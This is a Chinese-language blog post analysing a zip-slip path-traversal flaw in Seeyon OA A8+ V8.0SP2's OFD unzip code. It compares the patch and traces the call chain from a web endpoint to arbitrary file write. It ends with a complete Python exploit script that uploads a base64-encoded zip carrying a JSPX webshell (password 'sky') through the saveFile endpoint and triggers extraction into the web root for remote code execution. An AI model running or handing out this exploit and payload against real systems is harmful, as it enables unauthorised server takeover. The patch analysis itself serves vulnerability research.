致远OA ofd解压漏洞分析
1815098357643864 发表于 重庆 漏洞分析 1636浏览 · 2024-02-20 09:25

环境

A8+集团版V8.0SP2

补丁对比

下载官网补丁

https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=166

通过与A8+集团版V8.0SP2 中的seeyon-apps-edoc/com/seeyon/apps/govdoc/gb/util/OfdJavaZipUtil.class 对比

漏洞分析

发现在OfdJavaZipUtil.class#unzip方法中有一处明显改动

在遍历压缩包内文件时,最新补丁做了如下改动

public static void unzip(String fileName, String path, Map<String, String> charsetMap) {
    try {
        ZipFile zf = getZipFile(new File(fileName), charsetMap);
        Enumeration en = zf.entries();

        while(en.hasMoreElements()) {
            ZipEntry zn = (ZipEntry)en.nextElement();
            File f = new File(path, zn.getName());
            File f1 = new File(Strings.getCanonicalPath(f.getPath()));
            if (!FileUtil.inDirectory(f1, new File(path))) {
                LOGGER.error("发现文件解压漏洞攻击行为: " + AppContext.currentUserName() + " 文件路径:" + f1.getAbsolutePath());
                return;
            }

            ...

判断当前遍历的文件路径是否在指定的路径path下,如果不在则不继续执行操作。

V8.0SP2 中的unzip方法

public static void unzip(String fileName, String path, Map<String, String> charsetMap) {
    FileOutputStream fos = null;
    InputStream is = null;

    try {
        ZipFile zf = getZipFile(new File(fileName), charsetMap);
        Enumeration en = zf.entries();

        while(true) {
            ZipEntry zn;
            do {
                do {
                    if (!en.hasMoreElements()) {
                        return;
                    }

                    zn = (ZipEntry)en.nextElement();
                } while(zn.isDirectory());
            } while(".ofd".equals(zn.getName()));

            is = zf.getInputStream(zn);
            File f = new File(path + zn.getName());
            File file = f.getParentFile();
            file.mkdirs();
            fos = new FileOutputStream(path + zn.getName());
            int len = false;
            byte[] bufer = new byte[BUFFERSIZE];

            int len;
            while(-1 != (len = is.read(bufer))) {
                fos.write(bufer, 0, len);
            }

            is.close();
            fos.close();
        }
            ...

在之前的版本中,并没有验证压缩包中文件路径是否存在传入的path路径中,并且在104行处

直接将压缩包内文件名拼接到文件路径当中,然后再将压缩包内文件写入到该path+zn.getName()的新创建的文件中。

这里如果我们在压缩包内构造一个文件名为../../test.jspx文件,在没有更新补丁情况下,可以将文件写入到任意路径下。

以上,我们通过对比补丁,发现了OfdJavaZipUtil#unzip 解压文件名路径可控的漏洞利用的点,接下来,我们还需要找到fileName变量可控一条漏洞利用的路径。

查找OfdJavaZipUtil调用

com/seeyon/apps/govdoc/gb/manager/impl/GovdocGBManagerImpl.java#getOfdMetadata中调用了OfdJavaZipUtil#unzip

private Map<String, Object> getOfdMetadata(Long fileId, File sourceFile, boolean onlyRead, Map<String, String> charsetMap) throws BusinessException {
      new HashMap();

      try {
         String sourceFilePath = sourceFile.getPath();
         String unzipFilePath = SystemEnvironment.getSystemTempFolder() + File.separator + "ofd" + File.separator + fileId + File.separator;
         OfdFileUtil.delFolder(unzipFilePath);
         OfdJavaZipUtil.unzip(sourceFilePath, unzipFilePath, charsetMap);
         String ofdxmlPath = unzipFilePath + File.separator + "OFD.xml";
         Map<String, Object> metadataMap = OfdXmlUtil.getMetadataOfdXml(ofdxmlPath);
         if (onlyRead) {
            OfdFileUtil.delFolder(unzipFilePath);
         }

         return metadataMap;
      } catch (Exception var10) {
         LOGGER.error("获取OFD元数据失败", var10);
         throw new BusinessException();
      }
   }

这个方法作用就是传入fileIdsourceFile,调用OfdJavaZipUtil.unzipsourceFile解压,并获得解压路径下的OFD.xml中的数据。我们主要关注sourceFile变量是否可控,很显然,这个调用这个方法需要传入sourceFile

接下来,继续看哪儿调用了com/seeyon/apps/govdoc/gb/manager/impl/GovdocGBManagerImpl.java#getOfdMetadata

总共两个调用

1102行
GovdocGBManagerImpl.java#getOfdMetadata(Long fileId)

1133行
GovdocGBManagerImpl.java#resetOfdMetadata(Long fileId, Map<String, Object> newmetadataMap)

这里主要通过1102行的GovdocGBManagerImpl.java#getOfdMetadata(Long fileId)方法来触发调用。

继续回溯

GovdocGBManagerImpl.java#getOfdMetadata(Long fileId)

public Map<String, Object> getOfdMetadata(Long fileId) throws BusinessException {
    File file = this.fileManager.getFile(fileId);
    if (file == null) {
        return null;
    } else {
        Map<String, Object> metaDataMap = this.getOfdMetadata(fileId, file, true, (Map)null);
        return this.convertMetaDataMap(metaDataMap);
    }
}

在这个方法中,通过fileId获取了对应的文件,这里获取到的文件则会传入到this.getOfdMetadata(fileId, file, true, (Map)null)中,即可作为我们上一个方法的sourceFile变量。

所以,到这里,如果fileId可以通过外部控制,我们我们只需要找到一个可以上传zip文件的地方,并且获取到fileId,我们即可实现任意文件任意路径写入

继续回溯

com/seeyon/apps/edoc/api/EdocApiImpl.java#getOfdMetaDataFromOfdFile(Long ofdFileId)调用了getOfdMetadata(ofdFileId)方法

继续回溯

com/seeyon/ctp/common/content/mainbody/MainbodyController.java#invokingForm

public ModelAndView invokingForm(HttpServletRequest request, HttpServletResponse response) throws BusinessException {
      ModelAndView content = null;

      try {
         Map params = request.getParameterMap();
         String isNew = ParamUtil.getString(params, "isNew", false);
         long moduleId = ParamUtil.getLong(params, "moduleId", -1L, false);
         Long formId = ParamUtil.getLong(params, "formId", -1L, false);
         int moduleType = ParamUtil.getInt(params, "moduleType", -1, false);
         String openFrom = ParamUtil.getString(params, "openFrom", false);
         AppContext.putThreadContext("openFrom", openFrom);
         String contentDataId = ParamUtil.getString(params, "contentDataId", "");
         AppContext.putThreadContext("contentDataId", contentDataId);
         String isFromFrReport = ParamUtil.getString(params, "isFromFrReport", false);
         if (isFromFrReport != null) {
            Map p = new HashMap();
            p.put("contentDataId", moduleId);
            List<CtpContentAll> contentList = DBAgent.findByNamedQuery("ctp_common_content_findByContentDataId", p);
            if (contentList == null || contentList.size() <= 0) {
               throw new BusinessException("帆软报表穿透失败,未找到内容,内容ID:" + moduleId);
            }

            CtpContentAll tempContent = (CtpContentAll)contentList.get(0);
            moduleId = tempContent.getModuleId();
            moduleType = tempContent.getModuleType();
         }

         String style = ParamUtil.getString(params, "style");
         AppContext.putThreadContext("style", style);
         ModuleType mType = null;
         if (moduleType != -1) {
            mType = ModuleType.getEnumByKey(moduleType);
            if (mType == null) {
               throw new BusinessException("moduleType is not validate!");
            }
         }

         String rightId = ParamUtil.getString(params, "rightId", "", false);
         Integer indexParam = ParamUtil.getInt(params, "indexParam", 0);
         int viewState = ParamUtil.getInt(params, "viewState", 2);
         Long fromCopy = ParamUtil.getLong(params, "fromCopy", -1L, false);
         List<CtpContentAllBean> contentList = null;
         CtpContentAllBean contentAll = null;
         StringBuilder oldElementStr1 = new StringBuilder();
         String rememberStyle;
         if (isNew != null && !"false".equals(isNew.trim())) {
            Map<String, Object> map = new HashMap();
            rememberStyle = request.getParameter("distributeContentDataId");
            String distributeContentTemplateId = request.getParameter("distributeContentTemplateId");
            if (Strings.isNotBlank(rememberStyle)) {
               map.put("distributeContentDataId", rememberStyle);
            }

            if (Strings.isNotBlank(distributeContentTemplateId)) {
               map.put("distributeContentTemplateId", distributeContentTemplateId);
            }

            String forwardAffairId = request.getParameter("forwardAffairId");
            if (Strings.isNotBlank(forwardAffairId)) {
               AffairManager affairManager = (AffairManager)AppContext.getBean("affairManager");
               CtpAffair affair = affairManager.get(Long.valueOf(forwardAffairId));
               map.put("forwardSubject", affair.getSubject());
            }

            map.put("formId", formId);
            map.put("oldSummaryId", request.getParameter("oldSummaryId"));
            map.put("signSummaryId", request.getParameter("signSummaryId"));
            map.put("forwardSummaryId", request.getParameter("forwardSummaryId"));
            String summaryId = request.getParameter("summaryId");
            if (!Strings.isBlank(summaryId)) {
               map.put("oldSummaryId", summaryId);
            }

            String oldElementStr = ParamUtil.getString(params, "oldElements");
            Map<String, String> oldElementMap = new HashMap();
            if (Strings.isNotBlank(oldElementStr)) {
               try {
                  oldElementStr = oldElementStr.replaceAll("%(?![0-9a-fA-F]{2})", "%25");
                  oldElementStr = URLDecoder.decode(oldElementStr, "UTF-8");
               } catch (UnsupportedEncodingException var35) {
                  oldElementStr = "";
               }

               String[] oldElementArr = oldElementStr.split("@");
               String[] var30 = oldElementArr;
               int var31 = oldElementArr.length;

               for(int var32 = 0; var32 < var31; ++var32) {
                  String string = var30[var32];
                  String[] arr = string.split(":");
                  oldElementMap.put(arr[0], arr[1]);
               }
            }

            String ofdFileId = request.getParameter("ofdFileId");
            String subApp = request.getParameter("subApp");
            if (Strings.isNotBlank(ofdFileId)) {
               map.put("ofdFileId", ofdFileId);
               if ("2".equals(subApp)) {
                  Map metaDataMap = this.edocApi.getOfdMetaDataFromOfdFile(Long.parseLong(ofdFileId));
                  if (null != metaDataMap) {
                     Iterator var47 = metaDataMap.keySet().iterator();

                     while(var47.hasNext()) {
                        Object key = var47.next();
                        oldElementMap.put(key.toString(), metaDataMap.get(key).toString());
                     }
                  }
               }
            }

374行调用了EdocApiImpl.java#getOfdMetaDataFromOfdFile

369行可以发现fileId外部可控。

经过分析,执行到Map metaDataMap = this.edocApi.getOfdMetaDataFromOfdFile(Long.parseLong(ofdFileId));需要满足几个条件。

  • isNew参数值不能为Nullfalse
  • subApp只能等于2

继续回溯可发现调用到com/seeyon/ctp/common/content/mainbody/MainbodyController.java的路由/content/content.do

熟悉致远的朋友应该都知道,通过路由调用MainbodyController类的invokingForm方法时,只需要在指定method参数为invokingForm即可

http://xx.xx.xx.xx/seeyon/content/content.do?method=invokingForm

到这里,我们一条漏洞利用的路线就走通了,

  • 请求http://xx.xx.xx.xx/seeyon/content/content.do?method=invokingForm
    • 传入zip的fileIdisNew=turesubApp=2
  • 调用this.edocApi.getOfdMetaDataFromOfdFile(Long.parseLong(ofdFileId));
  • 调用this.govdocGBManager.getOfdMetadata(ofdFileId);
  • 调用this.getOfdMetadata(fileId, file, true, (Map)null);
  • 调用OfdJavaZipUtil.unzip(sourceFilePath, unzipFilePath, charsetMap);
  • 控制fos = new FileOutputStream(path + zn.getName());中的zn.getName()../../../../ApacheJetspeed/webapps/ROOT/mzr.jspx实现在任意文件写入。

到目前为止,我们距离getshell只完成了一半,接下来,我们还需要制作一个特殊的zip文件,并且找到一个可以上传zip,并且获得该文件得fileId的功能点。

zip制作

主要问题是在操作系统无法使用/作为文件名使用,所以,这里通过制作一个携带webshell的压缩包,通过010 editor修改文件名即可。(需要修改两处)

接下来,最最重要的,就是需要找到一个上传zip的地方。

那么要怎么找呢?

com/seeyon/apps/govdoc/gb/manager/impl/GovdocGBManagerImpl.java#getOfdMetadata方法中

通过fileId获取文件,那么是否也可以保存文件呢?

FileManager.java接口中

可以发现是有save接口的

接下来全局搜索fileManager.save,还挺多

com/seeyon/ctp/rest/resources/EditContentResource.java#saveFile()方法中

public Response saveFile() throws BusinessException {
     Map<String, Object> map = new HashMap();
     Date today = new Date();
     Long fileId = Long.valueOf(this.request.getParameter("fileId"));
     String _createDate = this.request.getParameter("createDate");
     Date createDate = Datetimes.parse(_createDate);
     String notJinge2StandardOffice = this.request.getParameter("notJinge2StandardOffice");
     String type = this.request.getParameter("type");

     try {
         CommonsMultipartResolver resolver = (CommonsMultipartResolver)AppContext.getBean("multipartResolver");
         HttpServletRequest req = resolver.resolveMultipart(this.request);
         MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)req;
         Iterator<String> fileNames = multipartRequest.getFileNames();
         if (fileNames == null) {
             map.put("error_msg", ResourceUtil.getString("common.content.fileName.blank"));
             return this.ok(map);
         }

         while(fileNames.hasNext()) {
             Object name = fileNames.next();
             if (name != null && !"".equals(name)) {
                 MultipartFile file = multipartRequest.getFile(String.valueOf(name));
                 String bakOldPath = this.fileManager.getFolder(createDate, true) + File.separator + fileId;
                 String filePath = this.fileManager.getFolder(today, true) + File.separator + fileId;
                 this.bakPhysicalFile(filePath, bakOldPath, fileId, today);
                 String tempFile = SystemEnvironment.getSystemTempFolder() + File.separator + UUIDLong.absLongUUID();
                 boolean isSuccessSave = false;
                 isSuccessSave = this.saveTempFile(tempFile, file);
                 if (!"true".equals(notJinge2StandardOffice) && "collaboration".equals(type)) {
                     boolean toJingge = Util.jinge2StandardOffice(tempFile, tempFile);
                     if (isSuccessSave && !toJingge) {
                         LOGGER.error("office正文转为标准office的时候失败,toJingge:" + toJingge);
                     }

                     isSuccessSave = toJingge;
                 }

                 try {
                     CoderFactory.getInstance().encryptFile(tempFile, filePath);
                 } catch (Exception var30) {
                     LOGGER.error("filePath=" + filePath);
                     LOGGER.error("CoderFactory.getInstance() Exception:", var30);
                 }

                 if (isSuccessSave) {
                     V3XFile v3xfile = this.fileManager.getV3XFile(fileId);
                     Integer category = Integer.valueOf(this.request.getParameter("category"));
                     this.officeTransManager.clean(fileId, Datetimes.format(today, "yyyyMMdd"));
                     boolean isNew = false;
                     String realFileType;
                     if (null == v3xfile) {
                         v3xfile = new V3XFile();
                         isNew = true;
                         v3xfile.setId(fileId);
                         v3xfile.setCategory(category);
                         v3xfile.setFilename(fileId.toString());
                         v3xfile.setSize(file.getSize());
                         realFileType = this.request.getParameter("fileType");
                         String mimeType = "msoffice";
                         if (".docx".equals(realFileType)) {
                             mimeType = "application/vnd.openxmlformats-officedocument.wordprocessingml.document";
                         } else if (".doc".equals(realFileType)) {
                             mimeType = "application/msword";
                         } else if (".xls".equals(realFileType)) {
                             mimeType = "application/vnd.ms-excel";
                         } else if (".xlsx".equals(realFileType)) {
                             mimeType = "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";
                         }

                         v3xfile.setMimeType(mimeType);
                     }

                     realFileType = Datetimes.format(new Date(System.currentTimeMillis()), "yyyy-MM-dd HH:mm:ss");
                     v3xfile.setUpdateDate(Datetimes.parseDate(realFileType));
                     User user = AppContext.getCurrentUser();
                     if (user != null) {
                         v3xfile.setCreateMember(user.getId());
                         v3xfile.setAccountId(user.getAccountId());
                     }

                     v3xfile.setCreateDate(today);
                     v3xfile.setUpdateDate(today);
                     if (!isNew) {
                         this.fileManager.update(v3xfile);
                     } else {
                         this.fileManager.save(v3xfile);
                     }
...

saveFile方法中从request请求中获取了fileIdcreateDatenotJinge2StandardOffice等参数

84-103行从reques请求中获取了上传的文件,并通过调用this.saveTempFile(tempFile, file)将上传的文件保存在Seeyon/A8/base/temporary/路径下

121行会先通过fileId去查找V3XFile对象,如果没有则重新创建,再设置fileIdcategory等属性值。

最后161行调用了this.fileManager.save(v3xfile);

通过该接口即可上传我们的zip文件,并且fileId是我们可以控制的。

请求该接口的路径为

http://xx.xx.xx.xx/seeyon/rest/editContent/saveFile

漏洞利用

漏洞利用脚本

import requests
import base64

host = "http://172.20.10.22"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
    "Cookie": "JSESSIONID=ECA7A2CD059B38DE39A3DEFAB4E365C4"
}


# ../../../../ApacheJetspeed/webapps/ROOT/mzr.jspx 文件路径
# zip文件内容base64编码
# UEsDBBQAAAAIANu5XVHzGO9FtgIAAOkFAAAwAAAALi4vLi4vLi4vLi4vQXBhY2hlSmV0c3BlZWQvd2ViYXBwcy9ST09UL216ci5qc3B4rVTfT9swEH4Gif/By5ODOrcDCoySSpQVaRvb0EqfEA+Oc20NqZPZTtcI9X/fOU5YKC9MWtRK5/Pd990v3/mDyc90llmyXqbKnOExChbW5mfd7gNfcWYKxUS27H6Z3HRv+BwCsgJtZKai4AM7CIYVQCI1CCtXwHI0IXKZZ9pGQQVQWJmy/U4ly6yW1kzoMrevjiYH0RinXM3ZftAd7u16EhAp19wiN6pQNoZMCawtqMSQS3e+zngCmjzt7e5MaVsjwkq5Y4ocNBXhAA8b/OdFnErhncmcxqWFu3sS19YabKEVqZxYAjOpoLKkcYf0OiRmKai5XTRo+Dvvvo60Ct4ILXObgkWF1WUFP7Faqjl5hDIKPvZ6sTg97Scn/f7h4Uk/GPgAfhVgLDNgLyxax4UFGpjHMug4t3DQgkm45VHjMAf7E1zmNGQahWsMnXpzOSPU2b6LiCrStE61QcHmkohMSmNh6VBudIbJ25L6Zta9DzzUTl0vkSUQOTCnJfXneNDcDU/ONdxmFAfmNAjJMCI9z0pan2/BiBs4PiKRP7JZpr/zJdDWJHkLH0Db/0f8gCNIPoELxuXgDV0O38AusoQGKNbXWD4/Hnf3oa8Ck2qVPQL1Xnjt8Z7vt+kcDJLUExM2vI7Oj0jYZk6qW2RV8JvUxE/elVWDvHkOoAbypk0QT65hDnCEPoYG09ur91jKzYuwNgRSA/9YWPe8l9IINrqYjI+Pava3lxej/KyM5UoA/S9FGhWzGeitUvnhfHuptgpTzeqlzBduE7gaVKLjfo49uBhPmqkWSCAtPfDAExC4B75COcHdRPHV/e1D2CHer3Z05lNqF9JspdhaRTREDRUsya6k4il1KYThyzoyfMU8NdQt08tMWdxxnsFlshHcigUdrwXkbsMQCLHlm0GzfNqbxmvceh/+AVBLAQIfABQAAAAIANu5XVHzGO9FtgIAAOkFAAAwACQAAAAAAAAAIAAAAAAAAAAuLi8uLi8uLi8uLi9BcGFjaGVKZXRzcGVlZC93ZWJhcHBzL1JPT1QvbXpyLmpzcHgKACAAAAAAAAEAGAAAKyVBBq7WAfv0tPzSyNkBzgG+GmrI2QFQSwUGAAAAAAEAAQCCAAAABAMAAAAA 


# 上传特殊构造的zip文件
file_content  = "UEsDBBQAAAAIANu5XVHzGO9FtgIAAOkFAAAwAAAALi4vLi4vLi4vLi4vQXBhY2hlSmV0c3BlZWQvd2ViYXBwcy9ST09UL216ci5qc3B4rVTfT9swEH4Gif/By5ODOrcDCoySSpQVaRvb0EqfEA+Oc20NqZPZTtcI9X/fOU5YKC9MWtRK5/Pd990v3/mDyc90llmyXqbKnOExChbW5mfd7gNfcWYKxUS27H6Z3HRv+BwCsgJtZKai4AM7CIYVQCI1CCtXwHI0IXKZZ9pGQQVQWJmy/U4ly6yW1kzoMrevjiYH0RinXM3ZftAd7u16EhAp19wiN6pQNoZMCawtqMSQS3e+zngCmjzt7e5MaVsjwkq5Y4ocNBXhAA8b/OdFnErhncmcxqWFu3sS19YabKEVqZxYAjOpoLKkcYf0OiRmKai5XTRo+Dvvvo60Ct4ILXObgkWF1WUFP7Faqjl5hDIKPvZ6sTg97Scn/f7h4Uk/GPgAfhVgLDNgLyxax4UFGpjHMug4t3DQgkm45VHjMAf7E1zmNGQahWsMnXpzOSPU2b6LiCrStE61QcHmkohMSmNh6VBudIbJ25L6Zta9DzzUTl0vkSUQOTCnJfXneNDcDU/ONdxmFAfmNAjJMCI9z0pan2/BiBs4PiKRP7JZpr/zJdDWJHkLH0Db/0f8gCNIPoELxuXgDV0O38AusoQGKNbXWD4/Hnf3oa8Ck2qVPQL1Xnjt8Z7vt+kcDJLUExM2vI7Oj0jYZk6qW2RV8JvUxE/elVWDvHkOoAbypk0QT65hDnCEPoYG09ur91jKzYuwNgRSA/9YWPe8l9IINrqYjI+Pava3lxej/KyM5UoA/S9FGhWzGeitUvnhfHuptgpTzeqlzBduE7gaVKLjfo49uBhPmqkWSCAtPfDAExC4B75COcHdRPHV/e1D2CHer3Z05lNqF9JspdhaRTREDRUsya6k4il1KYThyzoyfMU8NdQt08tMWdxxnsFlshHcigUdrwXkbsMQCLHlm0GzfNqbxmvceh/+AVBLAQIfABQAAAAIANu5XVHzGO9FtgIAAOkFAAAwACQAAAAAAAAAIAAAAAAAAAAuLi8uLi8uLi8uLi9BcGFjaGVKZXRzcGVlZC93ZWJhcHBzL1JPT1QvbXpyLmpzcHgKACAAAAAAAAEAGAAAKyVBBq7WAfv0tPzSyNkBzgG+GmrI2QFQSwUGAAAAAAEAAQCCAAAABAMAAAAA"
res = requests.post(url=host+"/seeyon/rest/editContent/saveFile?fileId=9095842667142857911&category=1", headers=headers, files={"file": base64.b64decode(file_content)})
# print(res.text)
# 解压文件RCE
requests.get(url=host+"/seeyon/content/content.do?method=invokingForm&subApp=2&ofdFileId=9095842667142857911&isNew=true",headers=headers)
# print(res.text)

# 验证
if(requests.get(url=host+"/mzr.jspx").status_code == 200):
    print("[+] 上传成功 ")
    print("[+] 利用路径  %s/mzr.jspx 密码: sky"%(host))
else:
    print("[-] 利用失败")

0 条评论
某人
表情
可输入 255
目录